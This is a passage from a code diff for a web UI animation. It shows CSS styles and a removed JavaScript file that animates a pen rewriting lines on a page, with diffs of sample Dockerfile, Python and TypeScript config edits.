transition: opacity 0.45s ease;
|
||||
/* SVG 视口默认 hidden 会把描边外半侧(0.5px)裁掉——visible 让边缘描边完整 */
|
||||
overflow: visible;
|
||||
}
|
||||
.file-flight.is-on { opacity: 1; }
|
||||
/* SVG 卡片:path 轮廓即卡片外形——fill 纸色 + stroke 描边跟随轮廓(S 曲线斜边也有描边) */
|
||||
.file-flight-shape {
|
||||
fill: var(--file-paper);
|
||||
stroke: var(--file-line);
|
||||
stroke-width: 1;
|
||||
}
|
||||
.file-cover-name {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 15px;
|
||||
letter-spacing: 0.02em;
|
||||
fill: var(--text-3); /* 和纸上线条同色 */
|
||||
}
|
||||
.file-cover-stat {
|
||||
font-family: var(--font-mono);
|
||||
font-size: 11px;
|
||||
}
|
||||
.file-cover-stat .add { fill: var(--ok); }
|
||||
.file-cover-stat .del { fill: var(--danger); }
|
||||
|
||||
.dline {
|
||||
position: relative;
|
||||
display: flex;
|
||||
gap: 12px;
|
||||
padding: 3px 10px;
|
||||
border-radius: 4px;
|
||||
/* 容器本身始终不透明:转正落位的字符立即可见,不经历消失→淡入;
|
||||
红/绿底色由 ::before 独立淡入,+/- 符号独立淡入 */
|
||||
white-space: nowrap;
|
||||
}
|
||||
.dline::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
border-radius: 4px;
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s ease;
|
||||
pointer-events: none;
|
||||
}
|
||||
.dline.is-del::before { background: rgba(212, 123, 107, 0.08); }
|
||||
.dline.is-add::before { background: rgba(123, 168, 137, 0.10); }
|
||||
.dline.is-shown::before { opacity: 1; }
|
||||
.dline .dsign { flex: none; width: 10px; opacity: 0; transition: opacity 0.3s ease; }
|
||||
.dline.is-shown .dsign { opacity: 1; }
|
||||
.dline.is-del { color: var(--danger); }
|
||||
.dline.is-add { color: var(--ok); }
|
||||
|
||||
/* diff 行内单字符:占位时透明;落位转正后 is-lit 实色显示 */
|
||||
.dch { opacity: 0; }
|
||||
.dch.is-lit { opacity: 1; }
|
||||
|
||||
/* 飘行的字母:从笔的擦/写位置飞向 diff 行字符位,落位后转正为流内字符 */
|
||||
.dch-ghost {
|
||||
position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
font-family: var(--font-mono);
|
||||
font-size: 12.5px;
|
||||
line-height: 1.5;
|
||||
pointer-events: none;
|
||||
/* 不设 will-change:合成层位图与转正后的矢量重绘之间会出现大小/清晰度跳变 */
|
||||
transition: transform 0.34s cubic-bezier(.35,.1,.25,1);
|
||||
z-index: 35; /* 高于盒前壁(30),飞行字母不被盒子挡 */
|
||||
}
|
||||
|
||||
/* 参考点(校准期红色可见,校准后改回透明) */
|
||||
/* 笔尖/橡皮定位参考点:visibility 隐藏(保留几何盒供 getBoundingClientRect 实测),
|
||||
同时清掉 fill/stroke 防止从 SVG 根继承描边显形 */
|
||||
.pen-ref { visibility: hidden; fill: none; stroke: none; pointer-events: none; }
|
||||
|
||||
/* ───────── 收件箱(genie 收盒) ─────────
|
||||
后壁 z1(纸挡住它)、前壁 z4(它挡住纸)——纸从前后壁之间沉入 */
|
||||
.inbox-part {
|
||||
position: absolute;
|
||||
left: 86px; /* 中心线 x=134 */
|
||||
top: 166px;
|
||||
width: 96px;
|
||||
height: 96px;
|
||||
color: var(--text-1);
|
||||
opacity: 0;
|
||||
transition: opacity 0.35s ease;
|
||||
pointer-events: none;
|
||||
}
|
||||
.inbox-part.is-shown { opacity: 1; }
|
||||
.box-back { z-index: 10; }
|
||||
.box-front { z-index: 30; }
|
||||
/* 前壁盒身填实色:不能透出后面收进去的纸(凹口线保持描边不填) */
|
||||
.box-front path { fill: var(--bg-1); }
|
||||
/* 盒内纸叠:genie 终态的文件卡片(.file-flight)本身就是插在盒子里的纸 */
|
||||
/* demo 页动画宿主:原尺寸 1:1(不缩放) */
|
||||
.anim-host { width: 540px; height: 380px; }
|
||||
|
||||
@ -1,552 +0,0 @@
|
||||
/* 修改记录动画 —— 智能体持笔在 3D 倾斜纸上改写内容,
|
||||
* 笔尖始终对准线条进度点(逐帧同步),笔以笔尖为圆心摇摆;
|
||||
* 纸摊平后绿行抽出展开为红绿 diff。自动播放,点击场景重播。
|
||||
*/
|
||||
|
||||
(function () {
|
||||
'use strict';
|
||||
|
||||
var stage = document.getElementById('anim3Stage');
|
||||
var paper = document.getElementById('paper');
|
||||
var penPos = document.getElementById('penPos');
|
||||
var pen = document.getElementById('writerPen');
|
||||
var boxBack = document.getElementById('boxBack');
|
||||
var boxFront = document.getElementById('boxFront');
|
||||
var diffView = document.getElementById('diffView');
|
||||
var lines = Array.prototype.slice.call(paper.querySelectorAll('.pline'));
|
||||
var dlines = Array.prototype.slice.call(diffView.querySelectorAll('.dline'));
|
||||
|
||||
// 挂载六边形眼睛(眨眼 + 追踪)
|
||||
if (window.AstrionAvatar) {
|
||||
AstrionAvatar.mount(document.getElementById('writerAvatar'), { mode: 'idle', blink: true, track: true });
|
||||
}
|
||||
|
||||
var gen = 0;
|
||||
|
||||
/* 笔尖/橡皮的精确位置不再手调像素:
|
||||
* SVG 内放了两个隐形参考点(penNibRef / penEraserRef),
|
||||
* 运行时 getBoundingClientRect 实测其渲染位置做补偿——
|
||||
* 无论笔怎么旋转/摇摆,作用点都精确钉在目标上。 */
|
||||
var nibRef = document.getElementById('penNibRef');
|
||||
var eraserRef = document.getElementById('penEraserRef');
|
||||
var penTx = 0, penTy = 0;
|
||||
|
||||
/* 笔的初始位(被智能体拿着):笔尖所在点,笔身斜跨六边形 */
|
||||
var PEN_HOME = { x: 456, y: 94 };
|
||||
|
||||
function sleep(ms) {
|
||||
return new Promise(function (r) { setTimeout(r, ms); });
|
||||
}
|
||||
|
||||
async function step(ms, myGen) {
|
||||
await sleep(ms);
|
||||
if (myGen !== gen) throw new Error('cancelled');
|
||||
}
|
||||
|
||||
function el(tag, cls) {
|
||||
var e = document.createElement(tag);
|
||||
if (cls) e.className = cls;
|
||||
return e;
|
||||
}
|
||||
|
||||
function stageRect() { return stage.getBoundingClientRect(); }
|
||||
|
||||
/* 缓动 */
|
||||
function easeOut(p) { return 1 - (1 - p) * (1 - p); }
|
||||
function easeInOut(p) { return p < 0.5 ? 2 * p * p : 1 - 2 * (1 - p) * (1 - p); }
|
||||
|
||||
/* rAF 逐帧驱动(返回 false/取消时提前结束) */
|
||||
function tween(ms, fn, myGen) {
|
||||
return new Promise(function (resolve) {
|
||||
var t0 = performance.now();
|
||||
function tick(now) {
|
||||
if (myGen !== gen) { resolve(); return; }
|
||||
var p = Math.min((now - t0) / ms, 1);
|
||||
fn(p);
|
||||
if (p >= 1) { resolve(); return; }
|
||||
requestAnimationFrame(tick);
|
||||
}
|
||||
requestAnimationFrame(tick);
|
||||
});
|
||||
}
|
||||
|
||||
function setPen(x, y) {
|
||||
penTx = x; penTy = y;
|
||||
penPos.style.transform = 'translate(' + x.toFixed(1) + 'px,' + y.toFixed(1) + 'px)';
|
||||
}
|
||||
|
||||
/* 手动微调(css px):数据对准后仍有轻微视觉偏差时在这里调,用户肉眼验收 */
|
||||
var NIB_TWEAK = { x: 0, y: -1.8 };
|
||||
var ERASER_TWEAK = { x: 0, y: 0 };
|
||||
|
||||
/* 把参考点精确移到舞台坐标 (x, y):实测当前位置,差值补偿到外层 translate,一次收敛 */
|
||||
function refTo(refEl, x, y, sr) {
|
||||
var r = refEl.getBoundingClientRect();
|
||||
var cx = r.left + r.width / 2 - sr.left;
|
||||
var cy = r.top + r.height / 2 - sr.top;
|
||||
setPen(penTx + (x - cx), penTy + (y - cy));
|
||||
}
|
||||
function nibTo(x, y, sr) { refTo(nibRef, x + NIB_TWEAK.x, y + NIB_TWEAK.y, sr); }
|
||||
function eraserTo(x, y, sr) { refTo(eraserRef, x + ERASER_TWEAK.x, y + ERASER_TWEAK.y, sr); }
|
||||
|
||||
/* 行右端进度点的舞台坐标:倾斜线的包围盒中心≠真实右端点,
|
||||
* 用线内右端锚点(.pline-end)的实测位置,兼容 3D 透视 + rotZ 倾斜 */
|
||||
function lineTip(line, sr) {
|
||||
var r = line.querySelector('.pline-end').getBoundingClientRect();
|
||||
return { x: r.left + r.width / 2 - sr.left, y: r.top + r.height / 2 - sr.top };
|
||||
}
|
||||
function nibToLineTip(line, sr) {
|
||||
var t = lineTip(line, sr);
|
||||
nibTo(t.x, t.y, sr);
|
||||
}
|
||||
|
||||
/* 三轮内容:Dockerfile / Python / TS,不全是一种代码;
|
||||
纸上横线长度 ≈ 对应行字符数(~2.3%/字符)——线长与内容长短一致;
|
||||
file/tone:收盒前渐变覆盖的文件卡(红/黄/绿,露出一截即可分辨)。 */
|
||||
var ROUNDS = [
|
||||
{
|
||||
file: 'Docker',
|
||||
paperW: [34, 26, 59, 44],
|
||||
edits: [
|
||||
{ newW: 26, del: 'EXPOSE 8080', add: 'EXPOSE 8091' },
|
||||
/* 最长行 26 字符(≈237px 宽):diff 左缘保持在 stage 内(>15px),否则左缘描边被 stage 裁掉 */
|
||||
{ newW: 53, del: 'CMD ["python", "server.py"]', add: 'CMD ["python", "main.py"]' }
|
||||
]
|
||||
},
|
||||
{
|
||||
file: 'api.py',
|
||||
paperW: [56, 35, 46, 30],
|
||||
edits: [
|
||||
{ newW: 35, del: 'MAX_RETRIES = 3', add: 'MAX_RETRIES = 5' },
|
||||
{ newW: 46, del: 'request_timeout = 30', add: 'request_timeout = 60' }
|
||||
]
|
||||
},
|
||||
{
|
||||
file: 'theme.ts',
|
||||
paperW: [46, 30, 66, 58],
|
||||
edits: [
|
||||
{ newW: 37, del: "theme: 'dark'", add: "theme: 'classic'" },
|
||||
{ newW: 66, del: 'fontSize: 13, lineHeight: 1.4', add: 'fontSize: 14, lineHeight: 1.6' }
|
||||
]
|
||||
}
|
||||
];
|
||||
/* 盒内纸堆叠透视(按盒子 SVG 侧边斜率 dx/dy=0.5 推导:每向深处 1px 两侧共收 1px):
|
||||
每往里一张纸,顶边抬高 ~10px、宽度按侧边角度同步收窄、只露出顶部一截。
|
||||
topY/bottomY 为 stage 坐标,wRatio 为相对盒子图标宽的比例。 */
|
||||
/* 等比透视:三张文件本身差不多高,随深度每层缩 ~8%(与宽度收敛同比率);
|
||||
底边都落在盒口附近(194/183/172)——每张收进去的瞬间都是真的插进盒子,不悬空;
|
||||
顶边各露 5px(底边落差 11px - 高度缩 6px ≈ 5px) */
|
||||
/* 等比透视:三张文件本身差不多高,随深度略缩;底边都落在盒口附近——
|
||||
每张收进去的瞬间都是真的插进盒子,不悬空;顶边各露 5px。
|
||||
(坐标基于盒子下移 50px 后:盒口 y=224) */
|
||||
var FILED_SPECS = [
|
||||
{ topY: 182, bottomY: 234, wRatio: 0.66 }, /* 最前:高 52,最宽、最低、贴前壁 */
|
||||
{ topY: 177, bottomY: 223, wRatio: 0.608 }, /* 中间:高 46 */
|
||||
{ topY: 172, bottomY: 212, wRatio: 0.556 } /* 最里:高 40,底边在盒口线上 */
|
||||
];
|
||||
|
||||
/* diff 行拆成单字符(初始透明占位),擦/写时字母逐个从笔处飘入落位。
|
||||
落位的 ghost 会转正替换占位符成为流内正式字符,reset 时重建占位 */
|
||||
var dlineTexts = [];
|
||||
function setDiffTexts(r) {
|
||||
var e = ROUNDS[r].edits;
|
||||
dlineTexts = [e[0].del, e[0].add, e[1].del, e[1].add];
|
||||
}
|
||||
setDiffTexts(0);
|
||||
var dlineChars = dlines.map(function () { return []; });
|
||||
function buildDlineChars() {
|
||||
dlines.forEach(function (d, di) {
|
||||
var t = d.querySelector('.dtext');
|
||||
t.textContent = '';
|
||||
dlineChars[di] = [];
|
||||
for (var i = 0; i < dlineTexts[di].length; i++) {
|
||||
var c = el('span', 'dch');
|
||||
/* 空格用不换行空格:普通空格 span 会塌缩成 0 宽/高度异常,落点歪斜 */
|
||||
c.textContent = dlineTexts[di][i] === ' ' ? ' ' : dlineTexts[di][i];
|
||||
t.appendChild(c);
|
||||
dlineChars[di].push(c);
|
||||
}
|
||||
});
|
||||
}
|
||||
buildDlineChars();
|
||||
|
||||
/* 一个字母从舞台 (x0,y0)(笔的擦/写位置)飘到 diff 行目标字符位。
|
||||
落位后转正:替换占位符成为流内正式字符——genie 收纸时文字随纸一起变形;
|
||||
首个落位字符触发行容器(红/绿底色)淡入:底色与文字同步,不先于文字出现 */
|
||||
function flyChar(x0, y0, chSpan, sr, myGen) {
|
||||
var to = chSpan.getBoundingClientRect();
|
||||
var g = el('span', 'dch-ghost');
|
||||
g.textContent = chSpan.textContent;
|
||||
g.style.color = getComputedStyle(chSpan).color;
|
||||
g.style.transform = 'translate(' + (x0 - 3).toFixed(1) + 'px,' + (y0 - 8).toFixed(1) + 'px)';
|
||||
stage.appendChild(g);
|
||||
void g.offsetWidth; /* 起始位定格后再设终点,保证过渡触发 */
|
||||
g.style.transform = 'translate(' + (to.left - sr.left).toFixed(1) + 'px,' + (to.top - sr.top).toFixed(1) + 'px)';
|
||||
g.addEventListener('transitionend', function handler() {
|
||||
g.removeEventListener('transitionend', handler);
|
||||
if (myGen !== gen) { g.parentNode && g.parentNode.removeChild(g); return; }
|
||||
/* 飞行过渡真正结束后转正:清掉行内样式、换成流内字符 class、替换占位符,同帧完成无跳变 */
|
||||
g.style.cssText = '';
|
||||
g.className = 'dch is-lit';
|
||||
var row = chSpan.parentNode; /* .dtext */
|
||||
var dline = row.parentNode; /* .dline */
|
||||
row.replaceChild(g, chSpan);
|
||||
/* 第一个字符到位,该行的红绿背景与 +/- 符号即浮现(后续字符陆续落位在已有底色的行里) */
|
||||
dline.classList.add('is-shown');
|
||||
});
|
||||
}
|
||||
|
||||
function applyWidths() {
|
||||
lines.forEach(function (l) {
|
||||
l.style.width = l.dataset.w + '%';
|
||||
});
|
||||
}
|
||||
|
||||
function reset() {
|
||||
gen += 1;
|
||||
pen.classList.remove('is-writing');
|
||||
penPos.classList.remove('is-live');
|
||||
lines.forEach(function (l) {
|
||||
l.classList.remove('is-new');
|
||||
l.style.opacity = '';
|
||||
});
|
||||
lines.forEach(function (l, i) { l.dataset.w = ROUNDS[0].paperW[i]; });
|
||||
applyWidths();
|
||||
setDiffTexts(0);
|
||||
diffView.classList.add('no-fade'); /* 重播重置同样禁用过渡,防红绿块淡出闪现 */
|
||||
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
|
||||
Array.prototype.slice.call(stage.querySelectorAll('.dch-ghost')).forEach(function (g) { g.parentNode.removeChild(g); });
|
||||
buildDlineChars(); /* 落位字符已转正为流内文本,重播前重建透明占位 */
|
||||
Array.prototype.slice.call(stage.querySelectorAll('.file-flight')).forEach(function (g) { g.parentNode.removeChild(g); });
|
||||
diffView.style.clipPath = '';
|
||||
diffView.style.transform = '';
|
||||
diffView.style.transformOrigin = '';
|
||||
diffView.style.opacity = '';
|
||||
diffView.style.visibility = '';
|
||||
diffView.classList.remove('is-sheet');
|
||||
void diffView.offsetWidth;
|
||||
diffView.classList.remove('no-fade');
|
||||
/* 收件箱始终显示,不在重置时隐藏 */
|
||||
pen.classList.remove('is-erasing');
|
||||
pen.style.transform = '';
|
||||
penPos.classList.add('is-live'); /* 重置瞬移,不起飞行动画 */
|
||||
nibTo(PEN_HOME.x, PEN_HOME.y, stageRect());
|
||||
void penPos.offsetWidth; /* 强制样式计算:让 transform 在 transition:none 下定格,避免移除 is-live 后触发回退过渡 */
|
||||
penPos.classList.remove('is-live');
|
||||
}
|
||||
|
||||
/* 改写一行:笔尖飞到旧行末端 → 翻转 180° 露出橡皮 → 橡皮小幅度晃动擦掉(线缩短,橡皮跟随)→ 翻回行首 → 绿行从笔尖长出 */
|
||||
async function rewriteLine(line, newW, delDline, addDline, myGen) {
|
||||
var sr = stageRect();
|
||||
var oldW = parseFloat(line.dataset.w);
|
||||
|
||||
// 1) 飞到该行旧内容末端(笔尖对准线右端,过渡飞行)
|
||||
penPos.classList.remove('is-live');
|
||||
nibToLineTip(line, sr);
|
||||
await step(430, myGen);
|
||||
|
||||
// 2) 倒笔:先平滑平移换端(笔尖→橡皮,JS tween 驱动,无瞬移),再绕橡皮翻转 180°
|
||||
// (同步块内连续 setPen 不触发渲染,借此算出平移的精确起止 translate)
|
||||
pen.classList.add('is-erasing');
|
||||
penPos.classList.add('is-live');
|
||||
var t0 = lineTip(line, sr);
|
||||
var fromX = penTx, fromY = penTy;
|
||||
eraserTo(t0.x, t0.y, sr); /* 算出橡皮贴线的目标 translate */
|
||||
var toX = penTx, toY = penTy;
|
||||
setPen(fromX, fromY); /* 设回起点,同一同步块内不渲染 */
|
||||
await tween(280, function (p) {
|
||||
var e = easeInOut(p);
|
||||
setPen(fromX + (toX - fromX) * e, fromY + (toY - fromY) * e);
|
||||
}, myGen);
|
||||
|
||||
// 3) 翻转 180°:绕橡皮平滑转动,期间橡皮始终钉在线右端
|
||||
await tween(300, function (p) {
|
||||
pen.style.transform = 'rotate(' + (easeInOut(p) * 180).toFixed(1) + 'deg)';
|
||||
var t = lineTip(line, sr);
|
||||
eraserTo(t.x, t.y, sr);
|
||||
}, myGen);
|
||||
|
||||
// 4) 擦除:线缩短,橡皮跟随右端;笔小幅晃动;字母随擦除从橡皮处逐个飘向左侧红行(从右往左)
|
||||
// 时长与行长成正比(等速擦除);行容器(红底)随首个落位字符出现
|
||||
var delChars = dlineChars[dlines.indexOf(delDline)];
|
||||
var dN = delChars.length;
|
||||
var nextDel = dN - 1;
|
||||
var eraseMs = Math.round(oldW * 7);
|
||||
await tween(eraseMs, function (p) {
|
||||
line.style.width = (oldW * (1 - easeInOut(p))) + '%';
|
||||
var wob = Math.sin(p * Math.PI * 4) * 7; // 两个来回,±7°
|
||||
pen.style.transform = 'rotate(' + (180 + wob).toFixed(1) + 'deg)';
|
||||
var t = lineTip(line, sr);
|
||||
eraserTo(t.x, t.y, sr);
|
||||
while (nextDel >= 0 && p >= (dN - nextDel) / (dN + 1)) {
|
||||
flyChar(t.x, t.y, delChars[nextDel], sr, myGen);
|
||||
nextDel--;
|
||||
}
|
||||
}, myGen);
|
||||
|
||||
// 5) 翻回 0°:origin 仍在笔尾,橡皮钉在行首(线宽已 0,右端即行首);
|
||||
// 转回 0° 后移除 is-erasing,origin 切回笔尖无跳变
|
||||
var home = lineTip(line, sr);
|
||||
await tween(280, function (p) {
|
||||
pen.style.transform = 'rotate(' + (180 * (1 - easeInOut(p))).toFixed(1) + 'deg)';
|
||||
eraserTo(home.x, home.y, sr);
|
||||
}, myGen);
|
||||
pen.classList.remove('is-erasing');
|
||||
pen.style.transform = '';
|
||||
|
||||
// 6) 写上绿色新内容:笔尖跟随右端,is-writing 摇摆;字母随书写从笔尖逐个飘向左侧绿行(从左往右)
|
||||
penPos.classList.remove('is-live');
|
||||
nibTo(home.x, home.y, sr);
|
||||
await step(320, myGen);
|
||||
/* 写入行不变色(修改记录靠 diff 区表达,纸面行保持同色) */
|
||||
pen.classList.add('is-writing');
|
||||
penPos.classList.add('is-live');
|
||||
var addChars = dlineChars[dlines.indexOf(addDline)];
|
||||
var aN = addChars.length;
|
||||
var nextAdd = 0;
|
||||
var writeMs = Math.round(newW * 7); // 时长与行长成正比(等速书写)
|
||||
await tween(writeMs, function (p) {
|
||||
line.style.width = (newW * easeOut(p)) + '%';
|
||||
nibToLineTip(line, sr);
|
||||
while (nextAdd < aN && p >= (nextAdd + 0.5) / aN) {
|
||||
var t2 = lineTip(line, sr);
|
||||
flyChar(t2.x, t2.y, addChars[nextAdd], sr, myGen);
|
||||
nextAdd++;
|
||||
}
|
||||
}, myGen);
|
||||
pen.classList.remove('is-writing');
|
||||
}
|
||||
|
||||
/* genie 收盒 · 裁切式:文件卡片始终是同一个 DOM 元素,不切片、不缩放内容——
|
||||
每帧把 S 曲线轮廓(底部先收窄、侧边弧线、顶部后动)算成 clip-path 多边形,
|
||||
裁掉轮廓外的部分(裁切不压缩,内容全程原样清晰);
|
||||
body(底色+边框+文字)每帧定位到轮廓包围盒,文字随收窄矢量缩小字号;
|
||||
终态轮廓恰好是插在盒口的小矩形,元素原地成为堆叠的一张,无替换无跳变。 */
|
||||
async function genieIntoBox(myGen, r, flight) {
|
||||
var shape = flight.querySelector('.file-flight-shape');
|
||||
var name = flight.querySelector('.file-cover-name');
|
||||
var stat = flight.querySelector('.file-cover-stat');
|
||||
var sr = stageRect();
|
||||
var br = boxBack.getBoundingClientRect();
|
||||
var px = +flight.dataset.px, py = +flight.dataset.py;
|
||||
var W = +flight.dataset.w, H = +flight.dataset.h;
|
||||
/* 盒口中心(stage 坐标):图标 y=12/24 处为盒口前缘线 */
|
||||
var mouthX = br.left + br.width / 2 - sr.left;
|
||||
/* 收盒顺序 3→2→1:第一轮收最里面,最后一轮收最前(后收的挡先收的) */
|
||||
var spec = FILED_SPECS[FILED_SPECS.length - 1 - r];
|
||||
var sinkY = spec.bottomY - (py + H);
|
||||
var centerDx = mouthX - (px + W / 2);
|
||||
var minS = (br.width * spec.wRatio) / W;
|
||||
var compressH = spec.topY - py - sinkY;
|
||||
flight.style.height = (H + sinkY + 20) + 'px'; /* SVG 视口加高覆盖下降路径 */
|
||||
|
||||
/* 交错相位运动(同一套数学):底部先动先快,顶部延迟——
|
||||
每帧把轮廓直接画成 path(fill 纸色 + stroke 描边跟随 S 曲线) */
|
||||
/* 侧边采样 72 段(≈1.6px/段):折线足够密,S 曲线侧边平滑无锯齿 */
|
||||
var N = 72;
|
||||
var totalMs = 1500;
|
||||
var sliceMs = 950;
|
||||
var maxDelay = totalMs - sliceMs;
|
||||
var lastBox = { x: 0, y: 0, w: W, h: H };
|
||||
var RR = 3.5; /* 运动期四角圆角半径(与封面/终态 roundedRectD 一致,无圆直跳变) */
|
||||
await tween(totalMs, function (p) {
|
||||
var now = p * totalMs;
|
||||
var L = [], R = [];
|
||||
var minX = 1e9, maxX = -1e9, minY = 1e9, maxY = -1e9;
|
||||
for (var i = 0; i < N; i++) {
|
||||
var v = (i + 0.5) / N;
|
||||
var start = (1 - v) * maxDelay;
|
||||
var q = Math.min(Math.max((now - start) / sliceMs, 0), 1);
|
||||
var e = easeInOut(q);
|
||||
var sx = 1 - (1 - minS) * e;
|
||||
var ty = (sinkY + (1 - v) * compressH) * e;
|
||||
var tx = centerDx * e;
|
||||
var lw = W * sx;
|
||||
var lx = (W - lw) / 2 + tx, rx = lx + lw;
|
||||
var yt = i * H / N + ty, yb = (i + 1) * H / N + ty;
|
||||
L.push([lx, yt], [lx, yb]);
|
||||
R.push([rx, yt], [rx, yb]);
|
||||
if (lx < minX) minX = lx;
|
||||
if (rx > maxX) maxX = rx;
|
||||
if (yt < minY) minY = yt;
|
||||
if (yb > maxY) maxY = yb;
|
||||
}
|
||||
/* 拼圆角多边形:顶/底边内缩 RR,四角 Q 贝塞尔过渡(控制点=角点);
|
||||
侧边仍是 72 段平滑折线 */
|
||||
var f = function (n) { return n.toFixed(1); };
|
||||
var lt = L[0], lb0 = L[1], rt = R[0], rb0 = R[1];
|
||||
var rbN = R[(N - 1) * 2 + 1], lbN = L[(N - 1) * 2 + 1];
|
||||
var d = 'M' + f(lt[0] + RR) + ',' + f(lt[1]);
|
||||
d += ' L' + f(rt[0] - RR) + ',' + f(rt[1]);
|
||||
d += ' Q' + f(rt[0]) + ',' + f(rt[1]) + ' ' + f(rb0[0]) + ',' + f(rb0[1]); /* 右上 */
|
||||
for (var i = 1; i < N - 1; i++) {
|
||||
d += ' L' + f(R[i * 2][0]) + ',' + f(R[i * 2][1]);
|
||||
d += ' L' + f(R[i * 2 + 1][0]) + ',' + f(R[i * 2 + 1][1]);
|
||||
}
|
||||
d += ' Q' + f(rbN[0]) + ',' + f(rbN[1]) + ' ' + f(rbN[0] - RR) + ',' + f(rbN[1]); /* 右下 */
|
||||
d += ' L' + f(lbN[0] + RR) + ',' + f(lbN[1]); /* 底边 */
|
||||
d += ' Q' + f(lbN[0]) + ',' + f(lbN[1]) + ' ' + f(L[(N - 1) * 2][0]) + ',' + f(L[(N - 1) * 2][1]); /* 左下 */
|
||||
for (var j = N - 2; j >= 1; j--) {
|
||||
d += ' L' + f(L[j * 2 + 1][0]) + ',' + f(L[j * 2 + 1][1]);
|
||||
d += ' L' + f(L[j * 2][0]) + ',' + f(L[j * 2][1]);
|
||||
}
|
||||
d += ' L' + f(lb0[0]) + ',' + f(lb0[1]); /* 段0左下 */
|
||||
d += ' Q' + f(lt[0]) + ',' + f(lt[1]) + ' ' + f(lt[0] + RR) + ',' + f(lt[1]) + ' Z'; /* 左上闭合 */
|
||||
shape.setAttribute('d', d);
|
||||
/* 文字随轮廓中心移动、矢量缩小字号。
|
||||
font-size 必须内联 style:presentation attribute 优先级低于 CSS 规则,会被压住 */
|
||||
var cx = (minX + maxX) / 2, cy = (minY + maxY) / 2;
|
||||
var sc = (maxX - minX) / W;
|
||||
/* 字号双保险:随收窄等比缩,且不超过卡片宽能放下的上限(mono 字宽 ≈0.62em) */
|
||||
var fsFit = (maxX - minX) * 0.88 / (name.textContent.length * 0.62);
|
||||
var fs1 = Math.min(Math.max(15 * sc, 7), fsFit);
|
||||
var fs2 = Math.max(11 * sc, 7);
|
||||
name.setAttribute('x', cx);
|
||||
name.setAttribute('y', cy - 2);
|
||||
name.style.fontSize = fs1.toFixed(1) + 'px';
|
||||
stat.setAttribute('x', cx);
|
||||
stat.setAttribute('y', cy + fs2 + 2);
|
||||
stat.style.fontSize = fs2.toFixed(1) + 'px';
|
||||
lastBox.x = minX; lastBox.y = minY; lastBox.w = maxX - minX; lastBox.h = maxY - minY;
|
||||
}, myGen);
|
||||
/* 终态:换回圆角矩形 path(描边+圆角完整),元素留在盒口成为堆叠的一张 */
|
||||
shape.setAttribute('d', roundedRectD(lastBox.x, lastBox.y, lastBox.w, lastBox.h, 3.5));
|
||||
}
|
||||
|
||||
/* SVG 工具:SVG 元素必须用 createElementNS 创建(createElement 建的不渲染) */
|
||||
var SVG_NS = 'http://www.w3.org/2000/svg';
|
||||
function svgEl(tag, cls) {
|
||||
var e = document.createElementNS(SVG_NS, tag);
|
||||
if (cls) e.setAttribute('class', cls);
|
||||
return e;
|
||||
}
|
||||
|
||||
/* 圆角矩形 path(初始封面与终态卡片用;genie 期间为直边多边形) */
|
||||
function roundedRectD(x, y, w, h, r) {
|
||||
return 'M' + (x + r) + ',' + y +
|
||||
' L' + (x + w - r) + ',' + y +
|
||||
' A' + r + ',' + r + ' 0 0 1 ' + (x + w) + ',' + (y + r) +
|
||||
' L' + (x + w) + ',' + (y + h - r) +
|
||||
' A' + r + ',' + r + ' 0 0 1 ' + (x + w - r) + ',' + (y + h) +
|
||||
' L' + (x + r) + ',' + (y + h) +
|
||||
' A' + r + ',' + r + ' 0 0 1 ' + x + ',' + (y + h - r) +
|
||||
' L' + x + ',' + (y + r) +
|
||||
' A' + r + ',' + r + ' 0 0 1 ' + (x + r) + ',' + y + ' Z';
|
||||
}
|
||||
|
||||
/* 收盒前:文件卡片(SVG:path 纸色+描边,text 文件名+统计)渐变出现,
|
||||
diff 内容直接消失;卡片是 SVG 单元素——描边跟随 path 轮廓(S 曲线斜边也有) */
|
||||
async function showFileCover(r, myGen) {
|
||||
var sr = stageRect();
|
||||
var pr = diffView.getBoundingClientRect();
|
||||
var px = pr.left - sr.left, py = pr.top - sr.top;
|
||||
var W = pr.width, H = pr.height;
|
||||
var flight = svgEl('svg', 'file-flight');
|
||||
flight.style.left = px + 'px';
|
||||
flight.style.top = py + 'px';
|
||||
flight.style.width = W + 'px';
|
||||
flight.style.height = H + 'px';
|
||||
/* 创建即设层级(先收最里 21,后收在前):封面期就必须在 diffView(z20) 之上 */
|
||||
flight.style.zIndex = String(21 + r);
|
||||
flight.dataset.px = px; flight.dataset.py = py;
|
||||
flight.dataset.w = W; flight.dataset.h = H;
|
||||
var shape = svgEl('path', 'file-flight-shape');
|
||||
shape.setAttribute('d', roundedRectD(0, 0, W, H, 3.5));
|
||||
var name = svgEl('text', 'file-cover-name');
|
||||
name.setAttribute('x', W / 2);
|
||||
name.setAttribute('y', H / 2 - 3);
|
||||
name.setAttribute('text-anchor', 'middle');
|
||||
name.textContent = ROUNDS[r].file;
|
||||
var stat = svgEl('text', 'file-cover-stat');
|
||||
stat.setAttribute('x', W / 2);
|
||||
stat.setAttribute('y', H / 2 + 14);
|
||||
stat.setAttribute('text-anchor', 'middle');
|
||||
var add = svgEl('tspan', 'add'); add.textContent = '+2';
|
||||
var del = svgEl('tspan', 'del'); del.textContent = ' -2';
|
||||
stat.appendChild(add);
|
||||
stat.appendChild(del);
|
||||
flight.appendChild(shape);
|
||||
flight.appendChild(name);
|
||||
flight.appendChild(stat);
|
||||
stage.appendChild(flight);
|
||||
getComputedStyle(flight).opacity; /* getBoundingClientRect 只算几何不重算样式;getComputedStyle 才强制样式计算,定格 opacity 0 */
|
||||
flight.classList.add('is-on');
|
||||
await step(520, myGen); /* 等封面渐变动画完全结束 */
|
||||
diffView.style.visibility = 'hidden'; /* 封面完全出现后,背后的 diff 瞬间消失 */
|
||||
return flight;
|
||||
}
|
||||
|
||||
/* 下轮 diff 内容就位:no-fade 禁用过渡——移除 is-shown 与恢复显示若同帧,
|
||||
红绿底色会以 0.3s 淡出形式闪一下(有底色无文字);禁用后瞬时消失,无残影 */
|
||||
function resetDiffForRound(r) {
|
||||
setDiffTexts(r);
|
||||
diffView.classList.add('no-fade');
|
||||
dlines.forEach(function (d) { d.classList.remove('is-shown'); });
|
||||
diffView.classList.remove('is-sheet');
|
||||
buildDlineChars();
|
||||
diffView.style.visibility = '';
|
||||
diffView.style.opacity = ''; /* 恢复渐隐前的可见(no-fade 下瞬间生效,无闪) */
|
||||
void diffView.offsetWidth; /* 强制样式计算:无过渡状态定格后再恢复过渡 */
